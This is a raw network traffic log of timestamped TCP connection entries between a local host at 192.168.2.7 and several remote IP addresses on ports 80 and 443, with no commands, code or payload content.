Nov 27, 2024 17:58:52.854636908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.855017900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.855031013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.855062008 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.856089115 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.856101990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.856137037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.858635902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858746052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.858901978 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858913898 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858927965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858942032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858944893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.858956099 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.858967066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.859004021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.859730959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.859777927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.859811068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.859877110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.860673904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.860721111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.860754967 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.860804081 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.861658096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.861704111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.861737013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.861773014 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.862688065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.862732887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.862798929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.862833977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.863204956 CET	49869	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.863255978 CET	443	49869	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.863363028 CET	49869	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.863650084 CET	49869	443	192.168.2.7	23.200.88.35
Nov 27, 2024 17:58:52.863662958 CET	443	49869	23.200.88.35	192.168.2.7
Nov 27, 2024 17:58:52.863676071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.863717079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.863790989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.863868952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.864700079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.864746094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.864842892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.864881992 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.865643024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.865746975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.865778923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.865797997 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.866677046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.866727114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.866740942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.866780996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.867639065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.867686033 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.867697001 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.867764950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.868648052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.868699074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.868777990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:52.868844986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:52.905594110 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.905674934 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.905751944 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.906050920 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.906070948 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.906081915 CET	49859	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.906089067 CET	443	49859	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.909776926 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.909820080 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.909934998 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.910453081 CET	49870	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.910465956 CET	443	49870	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.951446056 CET	443	49861	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.952445030 CET	49861	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.952474117 CET	443	49861	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.953083038 CET	49861	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.953088045 CET	443	49861	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.994254112 CET	443	49862	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.994846106 CET	49862	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.994880915 CET	443	49862	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:52.995429039 CET	49862	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:52.995435953 CET	443	49862	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.003563881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.003639936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.003678083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.003736973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.003942013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.003979921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.004195929 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.004236937 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.004798889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.004846096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.004931927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.004972935 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.005717993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.005778074 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.005806923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.005868912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.006074905 CET	443	49863	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.006632090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.006740093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.006757975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.006797075 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.006839037 CET	49863	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.006856918 CET	443	49863	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.007332087 CET	49863	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.007335901 CET	443	49863	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.007512093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.007580996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.007705927 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.007741928 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.008498907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.008650064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.008694887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.009582996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.009630919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.009676933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.009716034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.010587931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.010601997 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.010636091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.010653973 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.011358976 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.011401892 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.011446953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.012126923 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.012227058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.012294054 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.012447119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.013005018 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.013060093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.013135910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.013176918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.013885975 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.013942003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.013978004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.014027119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.014884949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.014945030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.014993906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.015753031 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.015830994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.015861034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.016015053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.016700983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.016756058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.016789913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.016891003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.017558098 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.017612934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.017688990 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.017729998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.018552065 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.018604994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.018611908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.018645048 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.019361973 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.019429922 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.019531965 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.019610882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.020273924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.020339012 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.020432949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.020587921 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.021188021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.021295071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.021348000 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.022109985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.022170067 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.022232056 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.022392988 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.023045063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.023101091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.023237944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.023477077 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.023945093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.024040937 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.024095058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.024883032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.024943113 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.024955034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.025106907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.025773048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.025827885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.025902987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.025943995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.026679039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.026741028 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.026962042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.027045012 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.027607918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.027667999 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.027668953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.027705908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.028552055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.028604031 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.028775930 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.028812885 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.029460907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.029517889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.029536009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.029563904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.030318022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.030378103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.030536890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.030581951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.031557083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.031574011 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.031614065 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.031637907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.032242060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.032277107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.032304049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.032321930 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.033037901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.033126116 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.033137083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.033175945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.033961058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.034123898 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.034146070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.034188986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.034849882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.034893036 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.034986019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.035022974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.035775900 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.035821915 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.035900116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.035949945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.036686897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.036730051 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.036739111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.036775112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.037646055 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.037739038 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.037749052 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.037785053 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.038533926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.038590908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.038639069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.038749933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.039447069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.039493084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.039629936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.039674044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.040338993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.040397882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.040426016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.040463924 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.041290998 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.041336060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.041346073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.041425943 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.042244911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.042280912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.042310953 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.042330027 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.043123007 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.043135881 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.043181896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.044070005 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.044126034 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.044163942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.044271946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.044892073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.044946909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.045053959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.045169115 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.045834064 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.045876026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.045902014 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.045953989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.046793938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.046808004 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.046848059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.046868086 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.047688961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.047741890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.047777891 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.047813892 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.048541069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.048588037 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.048589945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.048624039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.049468994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.049511909 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.049607992 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.049649954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.050431013 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.050472021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.050565958 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.050640106 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.051228046 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.051275015 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.082997084 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.083081007 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.083257914 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.083362103 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.083381891 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.083401918 CET	49860	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.083408117 CET	443	49860	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.086608887 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.086661100 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.086744070 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.086929083 CET	49871	443	192.168.2.7	13.107.246.63
Nov 27, 2024 17:58:53.086946011 CET	443	49871	13.107.246.63	192.168.2.7
Nov 27, 2024 17:58:53.213849068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.213908911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.213921070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.214040995 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.214267015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.214313984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.214447021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.214499950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.215231895 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.215276003 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.215439081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.215547085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.216105938 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.216162920 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.216243982 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.216361046 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.217045069 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.217102051 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.217147112 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.217911959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.217972994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.218014002 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.218147039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.218874931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.218941927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.219018936 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.219070911 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.219749928 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.219867945 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:53.219927073 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:53.220689058 CET	80	49850	185.215.113.206	192.168.2.7
